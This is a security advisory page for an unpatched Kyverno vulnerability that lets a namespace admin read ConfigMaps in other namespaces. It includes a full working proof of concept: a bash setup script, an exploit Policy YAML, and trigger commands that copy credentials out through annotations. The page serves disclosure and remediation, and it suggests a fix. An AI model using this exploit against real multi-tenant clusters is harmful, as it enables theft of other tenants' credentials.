Skip to content

GHSA-cvq5-hhx3-f99p BIT-kyverno-2026-41068 CVE-2026-41068 GO-2026-5337

Kyverno: Cross-Namespace Read Bypasses RBAC Isolation (CVE-2026-22039 Incomplete Fix)

High Go
Severity
7.7 / 10
High · CVSS 3.1
Exploit chance (EPSS)
0.27%
Chance of exploitation in the next 30 days. Higher than 18.84% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-863 Incorrect Authorization
Fix
None yet
No fixed version published

Description

Summary

CVE-2026-22039 fixed cross-namespace privilege escalation in Kyverno's apiCall context by validating the URLPath field. However, the ConfigMap context loader has the identical vulnerability — the configMap.namespace field accepts any namespace with zero validation, allowing a namespace admin to read ConfigMaps from any namespace using Kyverno's privileged service account. This is a complete RBAC bypass in multi-tenant Kubernetes clusters.

Details

Root cause: The CVE-2026-22039 fix in pkg/engine/apicall/apiCall.go (lines 73-83) validates that URLPath references only the policy's own namespace using regex. However, the ConfigMap context loader at pkg/engine/context/loaders/configmap.go performs no namespace validation on the namespace field.

Code path comparison:

CVE-2026-22039 (fixed) This vulnerability (unfixed)
Location apiCall.URLPath field configMap.namespace field
Code path apicall.Fetch() → namespace regex validation configmap.NewConfigMapLoader() → no validation
Root cause Variable substitution + missing validation Same pattern, still unpatched

Exploit mechanism:

  1. Namespace admin creates a Kyverno Policy in their namespace (standard RBAC)
  2. Policy uses context.configMap.namespace: "victim-ns" to reference another namespace
  3. Kyverno's admission controller service account (has cluster-wide view role) fetches the ConfigMap
  4. Policy mutates a trigger ConfigMap to exfiltrate the stolen data via annotations

Affected code: pkg/engine/context/loaders/configmap.go - NewConfigMapLoader() does not validate resolved namespace against policy namespace.

PoC

Full reproduction (5 minutes on kind):

#!/bin/bash
# Setup: kind cluster + Kyverno v1.17.0
kind create cluster --name kyverno-poc --wait 60s
helm repo add kyverno https://kyverno.github.io/kyverno/
helm install kyverno kyverno/kyverno --namespace kyverno --create-namespace --version 3.7.0 --wait

# Create attacker and victim namespaces
kubectl create namespace attacker-ns
kubectl create namespace victim-ns

# Plant sensitive data in victim namespace
kubectl create configmap sensitive-config -n victim-ns \
    --from-literal=db-password="s3cr3t-p4ssw0rd" \
    --from-literal=api-key="AKIAIOSFODNN7EXAMPLE"

# Create namespace admin RBAC (standard multi-tenant setup)
kubectl create serviceaccount ns-admin -n attacker-ns
kubectl create rolebinding ns-admin-binding --clusterrole=admin \
    --serviceaccount=attacker-ns:ns-admin --namespace=attacker-ns
kubectl create role kyverno-policy-creator --verb=create,get,list \
    --resource=policies.kyverno.io --namespace=attacker-ns
kubectl create rolebinding kyverno-policy-binding --role=kyverno-policy-creator \
    --serviceaccount=attacker-ns:ns-admin --namespace=attacker-ns

# Verify namespace admin CANNOT directly access victim-ns
kubectl get configmap sensitive-config -n victim-ns \
    --as=system:serviceaccount:attacker-ns:ns-admin
# Error: Forbidden (expected)

Exploit policy:

# Apply as namespace admin
apiVersion: kyverno.io/v1
kind: Policy
metadata:
  name: configmap-crossns-read
  namespace: attacker-ns
spec:
  rules:
  - name: steal-configmap
    match:
      any:
      - resources:
          kinds: [ConfigMap]
          names: ["trigger-cm"]
    context:
    - name: stolendata
      configMap:
        name: "sensitive-config"
        namespace: "victim-ns"    # <-- NO VALIDATION
    mutate:
      patchStrategicMerge:
        metadata:
          annotations:
            exfil-db-password: "{{ stolendata.data.\"db-password\" }}"
            exfil-api-key: "{{ stolendata.data.\"api-key\" }}"

Trigger and exfiltrate:

# Trigger policy (as namespace admin)
kubectl apply -f - <<EOF
apiVersion: v1
kind: ConfigMap
metadata:
  name: trigger-cm
  namespace: attacker-ns
data:
  innocent: "data"
EOF

# Read exfiltrated secrets
kubectl get configmap trigger-cm -n attacker-ns -o jsonpath='{.metadata.annotations}' \
    --as=system:serviceaccount:attacker-ns:ns-admin | python3 -m json.tool
# Output:
# {
#     "exfil-api-key": "AKIAIOSFODNN7EXAMPLE",
#     "exfil-db-password": "s3cr3t-p4ssw0rd"
# }

Result: Namespace admin successfully read secrets from victim-ns despite having NO RBAC access.

Impact

Severity: HIGH (CVSS 7.7)

Who is affected:

  • Any Kubernetes cluster running Kyverno v1.17.0 (and earlier) with namespace-scoped Policy creation enabled (default)
  • Multi-tenant clusters where ConfigMaps contain sensitive data
  • Azure Kubernetes Service (AKS) and other managed K8s using Kyverno

Attack prerequisites:

  • Namespace admin privileges (standard RBAC in multi-tenant clusters)
  • Ability to create Kyverno Policy resources (default for namespace admins)
  • No cluster-admin required

What can be exfiltrated:

  • Any ConfigMap from any namespace
  • Common targets: database credentials, API keys, service configurations, application secrets stored in ConfigMaps

Why this matters:

  • Namespace isolation is a fundamental Kubernetes security boundary
  • Namespace admin is an expected, common RBAC level in production multi-tenant clusters
  • Violates the principle of least privilege and breaks multi-tenancy guarantees

Suggested fix: Apply the same namespace validation from apicall.Fetch() to configmap.NewConfigMapLoader():

  1. Pass policyNamespace to NewConfigMapLoader()
  2. After variable substitution on namespace, validate resolved namespace == policyNamespace
  3. Return error if validation fails

Also audit other context loaders (globalReference, imageRegistry, variable) for the same pattern.

Tested versions:

  • Kyverno: v1.17.0 (latest, includes CVE-2026-22039 fix)
  • Helm chart: 3.7.0
  • Kubernetes: v1.35.0 (kind)

Affected versions

Go

PackageVulnerableFixed in
github.com/kyverno/kyverno
<= 1.17.1
No fix yet
github.com/kyverno/kyverno
all versions
No fix yet

How to fix

No fixed version has been published yet. Until one is, remove or replace the package, or turn off or isolate the affected feature. This page updates when a fix ships.

Severity breakdown

CVSS 3.1 7.7

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Changed
Confidentiality
High
Integrity
None
Availability
None

Weakness

CWE-863: Incorrect Authorization

The product performs an authorization check when an actor attempts to access a resource or perform an action, but it does not correctly perform the check.

How to prevent it
  • Architecture and Design: Divide the product into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully mapping roles with data and functionality. Use role-based access control (RBAC) [REF-229] to enforce the roles at the appropriate boundaries. Note that this approach may not protect against horizontal authorization, i.e., it will not protect a user from attacking others with the same role.
  • Architecture and Design: Ensure that access control checks are performed related to the business logic. These checks may be different than the access control checks that are applied to more generic resources such as files, connections, processes, memory, and database records. For example, a database may restrict access for medical records to a specific database user, but each record might only be intended to be accessible to the patient and the patient's doctor [REF-7].
  • Architecture and Design: Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. For example, consider using authorization frameworks such as the JAAS Authorization Framework [REF-233] and the OWASP ESAPI Access Control feature [REF-45].
  • Architecture and Design: For web applications, make sure that the access control mechanism is enforced correctly at the server side on every page. Users should not be able to access any unauthorized functionality or information by simply requesting direct access to that page. One way to do this is to ensure that all pages containing sensitive information are not cached, and that all such pages restrict access to requests that are accompanied by an active and authenticated session token associated with a user who has the required permissions to access that page.
  • System Configuration, Installation: Use the access control capabilities of your operating system and server environment and define your access control lists accordingly. Use a "default deny" policy when defining these ACLs.

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
GHSA-79gf-7frw-68m9
Kyverno's NamespacedGeneratingPolicy generator.apply() namespace argument unvalidated -- background controller creates RoleBindings in any namespace including kube-system
Critical Also affects github.com/kyverno/kyverno
GHSA-fpjq-c37h-cqcv
Kyverno Controller Denial of Service via forEach Mutation Panic
High Also affects github.com/kyverno/kyverno
GHSA-8wfp-579w-6r25
Kyverno apiCall automatically forwards ServiceAccount token to external endpoints (credential leak)
High Also affects github.com/kyverno/kyverno
GHSA-f9g8-6ppc-pqq4
Kyverno: ServiceAccount token leaked to external servers via apiCall service URL
Critical Also affects github.com/kyverno/kyverno
GHSA-q93q-v844-jrqp
kyverno apicall servicecall implicit bearer token injection leaks kyverno serviceaccount token
High Also affects github.com/kyverno/kyverno
GHSA-fmqp-4wfc-w3v7
Kyverno APICall SSRF Vulnerability Leading to Multi-Tenant Isolation Breach
Medium Also affects github.com/kyverno/kyverno
GHSA-qr4g-8hrp-c4rw
Kyverno has unrestricted outbound requests in Kyverno apiCall enabling SSRF
High Also affects github.com/kyverno/kyverno
GHSA-rggm-jjmc-3394
Kyverno has SSRF via CEL http.Get/http.Post in NamespacedValidatingPolicy allows cross-namespace data access
Critical Also affects github.com/kyverno/kyverno
Is this in your code?

MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.

Check your repos with MergeHarbor